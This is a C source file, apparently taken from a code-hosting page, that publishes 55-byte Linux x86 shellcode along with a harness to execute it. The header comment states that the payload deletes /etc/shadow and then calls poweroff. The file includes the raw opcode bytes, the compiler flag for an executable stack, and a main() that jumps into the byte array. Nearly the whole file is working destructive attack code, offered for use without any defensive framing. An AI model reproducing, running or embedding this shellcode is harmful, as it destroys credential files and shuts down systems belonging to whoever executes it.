31 lines
No EOL
904 B
C
31 lines
No EOL
904 B
C
#include <stdio.h>
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#include <string.h>
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/*
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by Magnefikko
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14.04.2010
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magnefikko@gmail.com
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Promhyl Studies :: http://promhyl.oz.pl
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Subgroup: #PRekambr
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Name: 55 bytes SLoc-DoS shellcode
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Platform: Linux x86
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unlink("/etc/shadow");
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execve("poweroff", 0, 0);
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gcc -Wl,-z,execstack filename.c
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shellcode:
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\xeb\x25\x5b\x31\xc0\x31\xc9\x31\xd2\x89\x43\x0b\xb0\x0a\xcd\x80\xeb\x08\x5b\x89\x53\x08\xb0\x0b\xcd\x80\xe8\xf3\xff\xff\xff\x70\x6f\x77\x65\x72\x6f\x66\x66\xe8\xd6\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77
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*/
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int main(){
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char shell[] =
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"\xeb\x25\x5b\x31\xc0\x31\xc9\x31\xd2\x89\x43\x0b\xb0\x0a\xcd\x80\xeb\x08\x5b\x89\x53\x08\xb0\x0b\xcd\x80\xe8\xf3\xff\xff\xff\x70\x6f\x77\x65\x72\x6f\x66\x66\xe8\xd6\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77";
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printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
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= %d\n", strlen(shell));
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(*(void (*)()) shell)();
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} |